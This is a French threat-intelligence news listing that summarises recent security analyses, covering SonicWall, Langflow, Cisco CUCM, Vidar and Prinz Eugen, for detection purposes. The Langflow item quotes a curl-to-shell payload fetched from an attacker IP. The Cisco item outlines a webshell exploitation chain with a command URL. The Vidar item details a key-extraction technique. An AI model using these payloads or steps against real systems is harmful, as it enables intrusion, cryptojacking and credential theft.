CVE-2024-40766 SonicWall : le patch ne suffit pas, les configurations restent vulnérables

🔍 Contexte Analyse publiĂ©e le 23 juin 2026 par Manuel Humberto Santander PelĂĄez (SANS Internet Storm Center), portant sur deux annĂ©es d’exploitation active de CVE-2024-40766, une vulnĂ©rabilitĂ© d’accĂšs non autorisĂ© (CVSS 9.3) dans SonicOS affectant les pare-feux Gen 5, Gen 6 et Gen 7 de SonicWall. 🎯 VulnĂ©rabilitĂ©s concernĂ©es CVE-2024-40766 : Improper access control dans SonicOS, affectant l’interface de gestion et le service SSLVPN. Advisory SNWLID-2024-0015 publiĂ© en aoĂ»t 2024. CVE-2024-12802 : Bypass d’authentification MFA sur SSLVPN SonicWall, exploitĂ© in-the-wild dĂšs fĂ©vrier-mars 2026. Sur Gen 6, le patch firmware seul ne remĂ©die pas la faille — 6 Ă©tapes manuelles de reconfiguration LDAP sont requises. Les Gen 6 ont atteint leur end-of-life le 16 avril 2026, sans plus aucun patch de sĂ©curitĂ© disponible. đŸ‘„ Acteurs de la menace Akira ransomware : exploitation documentĂ©e depuis septembre 2024, reprĂ©sentant 75% des intrusions. Dwell time documentĂ© sous 4 heures, certains cas en 55 minutes. Fog ransomware : exploitation parallĂšle, reprĂ©sentant ~25% des intrusions sur la mĂȘme pĂ©riode. En octobre 2025, Huntress a documentĂ© plus de 100 comptes SSLVPN compromis dans 16 environnements clients en une seule vague, via des credentials valides (pas de brute-force). 🔓 Vecteurs d’exploitation post-patch Comptes locaux obsolĂštes : 12/14 pare-feux auditĂ©s avaient des comptes SSLVPN sans Ă©quivalent Active Directory, dont certains avec des caractĂšres non imprimables (indicateur de crĂ©ation automatisĂ©e par tooling d’exploitation). Absence de rotation des mots de passe : 11/14 pare-feux n’avaient pas changĂ© les credentials locaux aprĂšs la mise Ă  jour firmware. LDAP Default User Group mal configurĂ© : 9/14 pare-feux accordaient implicitement l’accĂšs SSLVPN Ă  tous les comptes AD authentifiĂ©s via LDAP. Dans un cas, ce groupe donnait aussi l’accĂšs administrateur Ă  l’interface de gestion. Virtual Office Portal exposĂ© : 7/14 pare-feux avaient le portail d’enrollment MFA/TOTP accessible depuis Internet, permettant Ă  un attaquant d’enrĂŽler son propre dispositif TOTP avec des credentials valides. Breach MySonicWall (septembre 2025) : SonicWall a confirmĂ© une compromission de sa plateforme cloud avec accĂšs aux fichiers de sauvegarde de configuration contenant des credentials chiffrĂ©s — initialement annoncĂ© comme <5% des clients, puis confirmĂ© comme affectant la totalitĂ© des backups. 📊 Indicateurs de sessions suspectes Sessions depuis des ASN d’hĂ©bergeurs/VPS durant les heures creuses, durĂ©es de 40 Ă  60 heures Sessions sur des comptes locaux dĂ©sactivĂ©s dans AD depuis plus d’un an, restant actives aprĂšs le patch Type de session sess="CLI" dans les logs d’authentification SonicWall : indicateur d’outillage automatisĂ© (documentĂ© par ReliaQuest en mai 2026) Transition sess="CLI" → sess="GMS" : signal fort d’une activitĂ© hands-on-keyboard aprĂšs credential testing automatisĂ© đŸ§© Type d’article Analyse technique post-mortem combinant retour d’audit terrain (14 pare-feux), chronologie d’exploitation sur deux ans, et extraction de rĂšgles de dĂ©tection. But principal : documenter l’écart entre un pare-feu « patchĂ© » et un pare-feu rĂ©ellement durci. ...

26 juin 2026 Â· 4 min

CVE-2026-33017 : des cryptomineurs Monero exploitent Langflow via RCE non authentifiée

🔍 Contexte PubliĂ© le 23 juin 2026 par Trend Micro (Simon Dulude et John Zhang), cet article prĂ©sente une analyse technique complĂšte d’une campagne de cryptominage exploitant CVE-2026-33017, une vulnĂ©rabilitĂ© d’exĂ©cution de code Ă  distance non authentifiĂ©e dans Langflow, un framework Python de construction de workflows LLM. 🎯 Vecteur d’accĂšs initial L’exploitation cible l’endpoint POST /api/v1/build_public_tmp/{flow_id}/flow de Langflow, qui Ă©value du code Python sans authentification. L’attaquant injecte __import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh') pour dĂ©clencher la chaĂźne d’infection. Le mĂȘme flow_id UUID (0ee284cc-0eb1-493f-bc60-94fa8d1cfd18) est rĂ©utilisĂ© dans toutes les tentatives. La fenĂȘtre d’observation couvre 19 jours (27 mars – 15 avril 2026). ...

26 juin 2026 Â· 5 min

Edgecution : extension Edge malveillante exploitant Native Messaging pour déployer un backdoor Python

📰 Source : BleepingComputer, publiĂ© le 24 juin 2026, basĂ© sur une analyse technique de Zscaler. 🎯 Contexte gĂ©nĂ©ral Des chercheurs de Zscaler ont documentĂ© une campagne d’attaque sophistiquĂ©e utilisant une extension malveillante pour Microsoft Edge, baptisĂ©e Edgecution, attribuĂ©e Ă  un initial access broker (IAB) liĂ© Ă  l’opĂ©ration ransomware Payouts Kings. 🔓 Vecteur d’accĂšs initial L’attaque dĂ©bute par une ingĂ©nierie sociale via Microsoft Teams : l’attaquant se fait passer pour du personnel IT et dirige les victimes vers une fausse page “Outlook Updates Management Console” imitant Microsoft. Cette page propose des boutons de tĂ©lĂ©chargement qui : ...

26 juin 2026 Â· 3 min

Edgecution : un broker d'accÚs initial déploie une extension Edge malveillante liée à Payouts King

🔍 Contexte PubliĂ© le 23 juin 2026 par Zscaler ThreatLabz, cet article prĂ©sente une analyse technique approfondie d’une campagne d’attaque attribuĂ©e Ă  un initial access broker (IAB) affiliĂ© au groupe ransomware Payouts King. 🎯 MĂ©canisme d’attaque La campagne repose sur deux vecteurs combinĂ©s : IngĂ©nierie sociale pour l’accĂšs initial Un mĂ©canisme innovant de livraison de malware via une extension malveillante pour Microsoft Edge L’extension abuse du protocole Chrome native messaging pour interagir avec des applications natives de l’hĂŽte, contournant ainsi le sandbox du navigateur. ...

26 juin 2026 Â· 2 min

macOS.Gaslight : backdoor Rust DPRK avec injection de prompt anti-LLM et C2 Telegram

🔍 Contexte PubliĂ© le 23 juin 2026 par SentinelLABS (Phil Stokes), cet article prĂ©sente l’analyse technique d’un implant macOS baptisĂ© macOS.Gaslight, dĂ©couvert aprĂšs une mise Ă  jour XProtect d’Apple dĂ©but juin 2026. L’échantillon avait Ă©tĂ© soumis sur VirusTotal le 22 mai 2026 et restait non dĂ©tectĂ© par les moteurs statiques au moment de la publication. 🎯 Attribution et cluster SentinelLABS attribue avec haute confiance cet implant Ă  un cluster d’activitĂ© macOS alignĂ© DPRK (CorĂ©e du Nord). Apple dĂ©tecte l’échantillon sous la rĂšgle XProtect MACOS_BONZAI_COBUCH, famille associĂ©e par SentinelLABS Ă  l’activitĂ© nord-corĂ©enne. Un Ă©chantillon BONZAI frĂšre est Ă©galement dĂ©tectĂ© par la rĂšgle AIRPIPE, Ă©galement liĂ©e Ă  la CorĂ©e du Nord. ...

26 juin 2026 Â· 4 min

@withgoogle/stitch-sdk : scope squat npm pour vol de credentials développeurs

🎯 Contexte Analyse publiĂ©e le 20 juin 2026 par SafeDep sur la dĂ©couverte d’un package npm malveillant @withgoogle/stitch-sdk (versions v0.1.1 et v0.1.2), conçu pour imiter le SDK officiel de Google Stitch AI (@google/stitch-sdk, 30 000+ tĂ©lĂ©chargements hebdomadaires). 🔍 Technique d’attaque : Scope Squatting L’attaquant a exploitĂ© le fait que npm ne vĂ©rifie pas les marques dĂ©posĂ©es lors de l’enregistrement de scopes. Le produit Google est accessible via stitch.withgoogle.com, mais son scope npm officiel est @google. L’attaquant a enregistrĂ© le scope @withgoogle (premier arrivĂ©, premier servi) et publiĂ© un package avec le mĂȘme nom de base que le SDK lĂ©gitime, avec des numĂ©ros de version identiques (0.1.1, 0.1.2). ...

23 juin 2026 Â· 3 min

RCE non authentifiée dans Cisco Unified Communications Manager via SSRF et écriture de fichier arbitraire

🔍 Contexte PubliĂ© le 23 juin 2026 par l’équipe technique de SSD Secure Disclosure, cet article prĂ©sente une analyse technique complĂšte d’une vulnĂ©rabilitĂ© critique affectant Cisco Unified Communications Manager (CUCM) version 15.0.1.13901-2, dĂ©couverte par un chercheur indĂ©pendant. 🎯 Nature de la vulnĂ©rabilitĂ© La vulnĂ©rabilitĂ© CVE-2026-20230 est une chaĂźne d’exploitation combinant plusieurs failles : Un endpoint non authentifiĂ© /installClusterStatusExecute exposĂ© via le servlet ClusterInstallStatusServlet dans web.xml Une SSRF (Server-Side Request Forgery) exploitable via des requĂȘtes HTTPS, contournant la validation d’hĂŽte grĂące Ă  l’obtention du vrai hostname via /webdialer/Version.jws?wsdl Une Ă©criture de fichier arbitraire inspirĂ©e de la vulnĂ©rabilitĂ© historique CVE-2019-0227 (Axis 1.4), permettant de dĂ©poser un fichier WSDD malveillant ⚙ ChaĂźne d’exploitation Reconnaissance : rĂ©cupĂ©ration du hostname rĂ©el via https://<cible>/webdialer/Version.jws?wsdl SSRF + Ă©criture de fichier : envoi d’une requĂȘte GET vers /cmplatform/installClusterStatusExecute avec un payload encodĂ© crĂ©ant un nouveau service Axis (randomR11) via un descripteur WSDD DĂ©ploiement d’un premier webshell (aaa.jsp) via le service randomR11 pour Ă©crire des fichiers arbitraires DĂ©ploiement d’un webshell final (c.jsp) permettant l’exĂ©cution de commandes systĂšme arbitraires ExĂ©cution de commandes via https://<cible>/platform-services/axis2-web/c.jsp?pwd=123&i=id đŸ› ïž Composants techniques impliquĂ©s Fichier de configuration : \jakarta-tomcat\webapps\cmplatform\WEB-INF\web.xml Classe vulnĂ©rable : com.cisco.ccm.cmplatform.servlets.ClusterInstallStatusServlet Filtre de sĂ©curitĂ© contournĂ© : com.cisco.ccm.common.security.InjectionFilter MĂ©canisme d’exploitation : Apache Axis LogHandler pour Ă©criture de fichiers Webshells dĂ©posĂ©s : aaa.jsp, c.jsp đŸ©č Correctif Cisco a publiĂ© un correctif disponible via l’advisory officiel cisco-sa-cucm-ssrf-cXPnHcW. ...

23 juin 2026 Â· 3 min

Vidar Stealer : contournement de l'ABE via scan mémoire et injections APC

🔍 Contexte PubliĂ© le 18 juin 2026 par Vojtěch Krejsa, chercheur chez Gen Digital, cet article constitue une analyse technique approfondie du mĂ©canisme de contournement de l’Application-Bound Encryption (ABE) implĂ©mentĂ© dans le stealer Vidar, version 2.1. đŸ§© Technique de bypass ABE Vidar adopte une approche similaire Ă  Remus/Lumma en extrayant la v20_master_key directement depuis la mĂ©moire du navigateur, mais avec une mĂ©thode distincte en deux phases : Phase 1 – Localisation de la clĂ© en mĂ©moire Si le navigateur est dĂ©jĂ  en cours d’exĂ©cution, Vidar crĂ©e un fork du processus via NtCreateProcessEx avec SectionHandle = NULL, produisant un snapshot mĂ©moire statique (copy-on-write, sans threads). Si aucun navigateur n’est actif, Vidar crĂ©e un bureau isolĂ© (CreateDesktopA) nommĂ© v20_%d et lance le navigateur avec --no-first-run --disable-gpu about:blank. Jusqu’à 64 processus navigateur sont Ă©numĂ©rĂ©s et traitĂ©s indĂ©pendamment. La mĂ©moire est scannĂ©e via NtQueryVirtualMemory et NtReadVirtualMemory, ciblant les rĂ©gions MEM_COMMIT, MEM_PRIVATE, PAGE_READONLY ou PAGE_READWRITE (jusqu’à 4096 rĂ©gions). Le scan parallĂšle (64 threads) recherche un pattern de 32 octets : 76 32 30 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 00 00 01 ?? ?? correspondant Ă  un nƓud de Chromium::Encryptor::KeyRing. Un systĂšme de vote majoritaire filtre les candidats. Phase 2 – DĂ©chiffrement via injection APC La clĂ© est protĂ©gĂ©e par CryptProtectMemory avec le flag CRYPTPROTECTMEMORY_SAME_PROCESS, nĂ©cessitant une exĂ©cution depuis le processus navigateur. Vidar sĂ©lectionne l’une de deux mĂ©thodes d’injection APC selon la prĂ©sence d’ESET ou Bitdefender : MĂ©thode « classic » (si ESET/Bitdefender dĂ©tectĂ©) : crĂ©ation d’un thread suspendu via CreateRemoteThread (start address NtTestAlert), queue APC via NtQueueApcThread, reprise du thread. MĂ©thode « special » (sinon) : Ă©numĂ©ration des threads existants via CreateToolhelp32Snapshot/Thread32First/Thread32Next, ouverture via NtOpenThread, injection via NtQueueApcThreadEx2 avec QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC (exĂ©cution immĂ©diate, sans Ă©tat alertable requis). La routine APC injectĂ©e est CryptUnprotectMemory appelĂ©e avec l’adresse candidate, taille 32 octets, et CRYPTPROTECTMEMORY_SAME_PROCESS. Vidar crĂ©e un second fork pour lire la clĂ© dĂ©chiffrĂ©e et vĂ©rifie via dĂ©chiffrement AES-256-GCM (BCryptDecrypt). AprĂšs lecture, Vidar rĂ©injecte CryptProtectMemory pour restaurer l’état du navigateur. En cas d’échec total, Vidar termine tous les processus navigateur, les redĂ©marre et rĂ©pĂšte le cycle. 📌 IoC SHA1 Vidar 2.1 : 459daa809751e73f60fbbe4384a7d1653c36bb06945e4eb363527092424110a 📄 Nature de l’article Il s’agit d’une publication de recherche technique Ă  visĂ©e CTI, documentant prĂ©cisĂ©ment les mĂ©canismes internes d’un stealer actif pour permettre la dĂ©tection et la comprĂ©hension de ses techniques d’évasion. ...

23 juin 2026 Â· 3 min

Prinz Eugen : analyse d'un nouveau ransomware en Go ciblant Standard Bank Group

🔍 Contexte Le 18 juin 2026, ThreatDown publie une analyse approfondie d’une nouvelle famille de ransomware baptisĂ©e Prinz Eugen, dĂ©couverte lors d’une investigation client le 11 mai 2026. La premiĂšre mention publique de ce groupe remonte au 16 avril 2026, via un post sur les rĂ©seaux sociaux signalant l’apparition d’un portail de fuite visant Standard Bank Group, une institution financiĂšre majeure en Afrique du Sud. 🩠 CaractĂ©ristiques techniques du malware L’encrypteur prĂ©sente plusieurs caractĂ©ristiques techniques notables : ...

22 juin 2026 Â· 2 min

Prinz Eugen : nouveau ransomware Go ciblant les fichiers récents sans note de rançon

🔍 Contexte Source : BleepingComputer, publiĂ© le 20 juin 2026. L’analyse technique est issue de Threatdown (branche entreprise de Malwarebytes). L’article dĂ©crit une nouvelle opĂ©ration ransomware nommĂ©e Prinz Eugen, identifiĂ©e lors d’investigations sur des incidents rĂ©els. 🎯 AccĂšs initial et persistance L’accĂšs initial est vraisemblablement obtenu via des identifiants RDP volĂ©s Le payload principal, servertool.exe, est tĂ©lĂ©chargĂ© et exĂ©cutĂ© manuellement (style hands-on-keyboard) L’outil RMM lĂ©gitime RemotePC est utilisĂ© pour maintenir l’accĂšs Un compte administrateur backdoor assure la persistance Les attaquants privilĂ©gient les outils lĂ©gitimes (RMM, living-off-the-land) 🔐 StratĂ©gie de chiffrement Malware dĂ©veloppĂ© en Go Priorise les fichiers les plus rĂ©cemment modifiĂ©s ; en cas d’horodatage identique, traitement par ordre alphabĂ©tique Parcours rĂ©cursif des rĂ©pertoires sans limite de profondeur ni exclusion Extension utilisĂ©e pour les fichiers chiffrĂ©s : .prinzeugen Algorithme de chiffrement : ChaCha20-Poly1305 avec clĂ© maĂźtre de 32 octets DĂ©rivation de clĂ© via Argon2id, SHA-256 et HKDF-SHA256 Vecteur d’initialisation alĂ©atoire par fichier Traitement par blocs de 1 Mo, intĂ©gritĂ© vĂ©rifiĂ©e via SHA-256 Avec le flag --delete : vĂ©rification de dĂ©chiffrabilitĂ© avant suppression du fichier original La clĂ© de chiffrement est Ă©crasĂ©e avec des zĂ©ros, le garbage collector est forcĂ©, puis le binaire s’auto-supprime đŸš« Absence de note de rançon Aucune note de rançon dĂ©posĂ©e sur le systĂšme, aucun changement de fond d’écran Les communications de rançon se font hors-bande (email direct, contact tĂ©lĂ©phonique, portail dark web) Cette tactique rĂ©duit les artefacts forensiques et complique la dĂ©tection automatisĂ©e de la phase d’extorsion đŸ‘„ Victimes et modĂšle opĂ©rationnel Pas de modĂšle RaaS, pas de recrutement d’affiliĂ©s identifiĂ© Au moins 5 victimes identifiĂ©es par Threatdown Le site de fuite liste actuellement 3 victimes Les attaques combinent chiffrement et/ou exfiltration de donnĂ©es Dans le cas de Standard Bank, une rançon de 1 BTC a Ă©tĂ© demandĂ©e et refusĂ©e 📄 Type d’article Analyse technique publiĂ©e par BleepingComputer sur la base d’un rapport Threatdown, visant Ă  documenter les TTPs, la mĂ©canique de chiffrement et les IoCs d’une nouvelle opĂ©ration ransomware. ...

22 juin 2026 Â· 3 min
Derniùre mise à jour le: 6 octobre 2026 📝